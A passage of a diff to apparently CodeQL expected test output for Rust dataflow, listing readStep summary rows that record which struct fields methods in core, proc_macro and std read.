lang:core::_::::nth | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | ChunksExact.chunk_size | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::ChunksExact::chunk_size] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | ChunksExact.rem | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::ChunksExact::rem] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | ChunksExact.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::ChunksExact::v] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::nth_back | ChunksExact.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::ChunksExact::v] in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::remainder | ChunksExact.rem | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::ChunksExact::rem] in lang:core::_::::remainder | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_remainder | ChunksExactMut.rem | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::ChunksExactMut::rem] in lang:core::_::::into_remainder | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | GenericSplitN.iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::GenericSplitN::iter] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::size_hint | GenericSplitN.count | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::GenericSplitN::count] in lang:core::_::::size_hint | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | Iter._marker | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::Iter::_marker] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | Iter.end_or_len | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::Iter::end_or_len] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | Iter.ptr | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::Iter::ptr] in lang:core::_::::clone | | file://:0:0:0:0 | [summary param] self in lang:core::_::::collect | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in lang:core::_::::collect | | file://:0:0:0:0 | [summary param] self in lang:core::_::::for_each | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in lang:core::_::::for_each | | file://:0:0:0:0 | [summary param] self in lang:core::_::::map | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in lang:core::_::::map | | file://:0:0:0:0 | [summary param] self in lang:core::_::::next | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in lang:core::_::::next | | file://:0:0:0:0 | [summary param] self in lang:core::_::::nth | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in lang:core::_::::nth | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | RChunks.chunk_size | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::RChunks::chunk_size] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | RChunks.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::RChunks::v] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::nth_back | RChunks.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::RChunks::v] in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::last | RChunks.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::RChunks::v] in lang:core::_::::last | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::nth | RChunks.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::RChunks::v] in lang:core::_::::nth | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | RChunksExact.chunk_size | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::RChunksExact::chunk_size] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | RChunksExact.rem | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::RChunksExact::rem] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | RChunksExact.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::RChunksExact::v] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::nth_back | RChunksExact.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::RChunksExact::v] in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::remainder | RChunksExact.rem | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::RChunksExact::rem] in lang:core::_::::remainder | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_remainder | RChunksExactMut.rem | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::RChunksExactMut::rem] in lang:core::_::::into_remainder | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | RSplit | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::RSplit::inner] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::finish | Split.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::Split::v] in lang:core::_::::finish | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::as_slice | Split.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::Split::v] in lang:core::_::::as_slice | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next_back | SplitInclusive.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::SplitInclusive::v] in lang:core::_::::next_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | SplitInclusive.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::SplitInclusive::v] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::finish | SplitMut.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::SplitMut::v] in lang:core::_::::finish | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | Windows.size | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::Windows::size] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | Windows.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::Windows::v] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next_back | Windows.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::Windows::v] in lang:core::_::::next_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::nth_back | Windows.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::Windows::v] in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::last | Windows.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::Windows::v] in lang:core::_::::last | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | Windows.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::Windows::v] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::nth | Windows.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::Windows::v] in lang:core::_::::nth | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::valid_up_to | Utf8Error.valid_up_to | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::str::error::Utf8Error::valid_up_to] in lang:core::_::::valid_up_to | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::nth | Bytes | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::str::iter::Bytes(0)] in lang:core::_::::nth | | file://:0:0:0:0 | [summary param] self in lang:core::_::::nth | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::nth | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | CharIndices.front_offset | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::str::iter::CharIndices::front_offset] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::offset | CharIndices.front_offset | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::str::iter::CharIndices::front_offset] in lang:core::_::::offset | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | EncodeUtf16.extra | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::str::iter::EncodeUtf16::extra] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | SplitInternal.matcher | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::str::iter::SplitInternal::matcher] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | SplitNInternal.iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::str::iter::SplitNInternal::iter] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::invalid | Utf8Chunk.invalid | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::str::lossy::Utf8Chunk::invalid] in lang:core::_::::invalid | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::valid | Utf8Chunk.valid | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::str::lossy::Utf8Chunk::valid] in lang:core::_::::valid | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::debug | Utf8Chunks | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::str::lossy::Utf8Chunks::source] in lang:core::_::::debug | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next_match_back | CharSearcher.finger | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::str::pattern::CharSearcher::finger] in lang:core::_::::next_match_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next_match_back | CharSearcher.finger_back | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::str::pattern::CharSearcher::finger_back] in lang:core::_::::next_match_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::haystack | CharSearcher.haystack | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::str::pattern::CharSearcher::haystack] in lang:core::_::::haystack | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next_match | CharSearcher.finger | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::str::pattern::CharSearcher::finger] in lang:core::_::::next_match | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next_match | CharSearcher.finger_back | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::str::pattern::CharSearcher::finger_back] in lang:core::_::::next_match | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_searcher | MultiCharEqPattern | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::str::pattern::MultiCharEqPattern(0)] in lang:core::_::::into_searcher | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_searcher | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::into_searcher | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::haystack | MultiCharEqSearcher.haystack | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::str::pattern::MultiCharEqSearcher::haystack] in lang:core::_::::haystack | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::haystack | StrSearcher.haystack | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::str::pattern::StrSearcher::haystack] in lang:core::_::::haystack | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | AtomicI8 | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::atomic::AtomicI8::v] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | AtomicI16 | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::atomic::AtomicI16::v] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | AtomicI32 | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::atomic::AtomicI32::v] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | AtomicI64 | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::atomic::AtomicI64::v] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | AtomicI128 | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::atomic::AtomicI128::v] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | AtomicIsize | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::atomic::AtomicIsize::v] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | AtomicPtr | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::atomic::AtomicPtr::p] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | AtomicU8 | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::atomic::AtomicU8::v] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | AtomicU16 | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::atomic::AtomicU16::v] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | AtomicU32 | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::atomic::AtomicU32::v] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | AtomicU64 | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::atomic::AtomicU64::v] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | AtomicU128 | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::atomic::AtomicU128::v] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | AtomicUsize | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::atomic::AtomicUsize::v] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::get_mut | Exclusive | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::exclusive::Exclusive::inner] in lang:core::_::::get_mut | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | Exclusive | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::sync::exclusive::Exclusive::inner] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::branch | Ready | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::branch | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::map | Ready | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::map | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::map_err | Ready | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::map_err | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::map_ok | Ready | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::map_ok | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::local_waker | Context.local_waker | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::task::wake::Context::local_waker] in lang:core::_::::local_waker | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::waker | Context.waker | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::task::wake::Context::waker] in lang:core::_::::waker | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::build | ContextBuilder.ext | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::task::wake::ContextBuilder::ext] in lang:core::_::::build | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::build | ContextBuilder.local_waker | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::task::wake::ContextBuilder::local_waker] in lang:core::_::::build | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::build | ContextBuilder.waker | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::task::wake::ContextBuilder::waker] in lang:core::_::::build | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::data | LocalWaker | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::task::wake::LocalWaker::waker] in lang:core::_::::data | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::vtable | LocalWaker | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::task::wake::LocalWaker::waker] in lang:core::_::::vtable | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::data | Waker | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::task::wake::Waker::waker] in lang:core::_::::data | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::vtable | Waker | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::task::wake::Waker::waker] in lang:core::_::::vtable | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::as_secs | Duration.secs | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::time::Duration::secs] in lang:core::_::::as_secs | | file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::clone | | file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::clone | | file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::clone | @@ -2104,11 +4051,34 @@ readStep | file://:0:0:0:0 | [summary param] self in lang:core::_::crate::iter::traits::iterator::Iterator::map | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in lang:core::_::crate::iter::traits::iterator::Iterator::map | | file://:0:0:0:0 | [summary param] self in lang:core::_::crate::iter::traits::iterator::Iterator::next | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in lang:core::_::crate::iter::traits::iterator::Iterator::next | | file://:0:0:0:0 | [summary param] self in lang:core::_::crate::iter::traits::iterator::Iterator::nth | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in lang:core::_::crate::iter::traits::iterator::Iterator::nth | +| file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::Unmark>::unmark | Marked.value | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::bridge::Marked::value] in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::Unmark>::unmark | +| file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::Unmark>::unmark | Marked.value | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::bridge::Marked::value] in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::Unmark>::unmark | +| file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::delimiter | Group | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Group(0)] in lang:proc_macro::_::::delimiter | +| file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::delimiter | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:proc_macro::_::::delimiter | +| file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::stream | Group | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Group(0)] in lang:proc_macro::_::::stream | +| file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::stream | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:proc_macro::_::::stream | +| file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::span | Ident | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Ident(0)] in lang:proc_macro::_::::span | +| file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::span | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:proc_macro::_::::span | +| file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::span | Literal | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Literal(0)] in lang:proc_macro::_::::span | +| file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::span | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:proc_macro::_::::span | +| file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::span | Punct | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Punct(0)] in lang:proc_macro::_::::span | +| file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::span | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:proc_macro::_::::span | +| file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::unmark | Marked.value | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::bridge::Marked::value] in lang:proc_macro::_::::unmark | | file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::take | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:proc_macro::_::::take | | file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:proc_macro::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::name | Attr.name | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::bridge::client::ProcMacro::Attr::name] in lang:proc_macro::_::::name | +| file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::name | Bang.name | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::bridge::client::ProcMacro::Bang::name] in lang:proc_macro::_::::name | +| file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::name | CustomDerive.trait_name | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::bridge::client::ProcMacro::CustomDerive::trait_name] in lang:proc_macro::_::::name | | file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:proc_macro::_::::clone | | file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:proc_macro::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::copy | InternedStore.owned | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::bridge::handle::InternedStore::owned] in lang:proc_macro::_::::copy | +| file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::as_str | StaticStr | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::bridge::rpc::PanicMessage::StaticStr(0)] in lang:proc_macro::_::::as_str | +| file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::as_str | String | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::bridge::rpc::PanicMessage::String(0)] in lang:proc_macro::_::::as_str | +| file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::next | Children | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::diagnostic::Children(0)] in lang:proc_macro::_::::next | | file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::next | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:proc_macro::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::level | Diagnostic.level | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::diagnostic::Diagnostic::level] in lang:proc_macro::_::::level | +| file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::message | Diagnostic.message | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::diagnostic::Diagnostic::message] in lang:proc_macro::_::::message | +| file://:0:0:0:0 | [summary param] self in lang:proc_macro::_::::spans | Diagnostic.spans | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::diagnostic::Diagnostic::spans] in lang:proc_macro::_::::spans | | file://:0:0:0:0 | [summary param] self in lang:std::_::<&[u8] as crate::io::BufRead>::consume | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in lang:std::_::<&[u8] as crate::io::BufRead>::consume | | file://:0:0:0:0 | [summary param] self in lang:std::_::<&[u8] as crate::io::BufRead>::fill_buf | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:std::_::<&[u8] as crate::io::BufRead>::fill_buf | | file://:0:0:0:0 | [summary param] self in lang:std::_::<&[u8] as crate::io::Read>::read_buf_exact | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in lang:std::_::<&[u8] as crate::io::Read>::read_buf_exact | @@ -2116,44 +4086,207 @@ readStep | file://:0:0:0:0 | [summary param] self in lang:std::_::<&[u8] as crate::io::Read>::read_to_end | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in lang:std::_::<&[u8] as crate::io::Read>::read_to_end | | file://:0:0:0:0 | [summary param] self in lang:std::_::<&[u8] as crate::io::Read>::read_to_string | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in lang:std::_::<&[u8] as crate::io::Read>::read_to_string | | file://:0:0:0:0 | [summary param] self in lang:std::_::<&[u8] as crate::io::copy::BufferedReaderSpec>::copy_to | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in lang:std::_::<&[u8] as crate::io::copy::BufferedReaderSpec>::copy_to | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::and_modify | Occupied | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::map::Entry::Occupied(0)] in lang:std::_::::and_modify | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::and_modify | Vacant | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::map::Entry::Vacant(0)] in lang:std::_::::and_modify | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::insert_entry | Occupied | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::map::Entry::Occupied(0)] in lang:std::_::::insert_entry | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::clone | HashMap | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::map::HashMap::base] in lang:std::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::clone | Iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::map::Iter::base] in lang:std::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::and_modify | Occupied | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::map::RawEntryMut::Occupied(0)] in lang:std::_::::and_modify | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::and_modify | Vacant | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::map::RawEntryMut::Vacant(0)] in lang:std::_::::and_modify | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::insert | Occupied | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::set::Entry::Occupied(0)] in lang:std::_::::insert | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::clone | HashSet | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::set::HashSet::base] in lang:std::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::clone | Iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::set::Iter::base] in lang:std::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::clone | SymmetricDifference | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::set::SymmetricDifference::iter] in lang:std::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::clone | Union | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::set::Union::iter] in lang:std::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | OsStr | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ffi::os_str::OsStr::inner] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_encoded_bytes | OsStr | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ffi::os_str::OsStr::inner] in lang:std::_::::as_encoded_bytes | | file://:0:0:0:0 | [summary param] self in lang:std::_::::borrow | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in lang:std::_::::borrow | | file://:0:0:0:0 | [summary param] self in lang:std::_::::deref | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in lang:std::_::::deref | | file://:0:0:0:0 | [summary param] self in lang:std::_::::deref_mut | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in lang:std::_::::deref_mut | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_vec | OsString | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ffi::os_str::OsString::inner] in lang:std::_::::into_vec | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | OsString | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ffi::os_str::OsString::inner] in lang:std::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::into_encoded_bytes | OsString | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ffi::os_str::OsString::inner] in lang:std::_::::into_encoded_bytes | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner_mut | DirBuilder.inner | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fs::DirBuilder::inner] in lang:std::_::::as_inner_mut | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | DirEntry | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fs::DirEntry(0)] in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::as_inner | +| file://:0:0:0:0 | [summary param] self in lang:std::_::::as_inner | File | file://:0:0:0:0 | [summary] read: 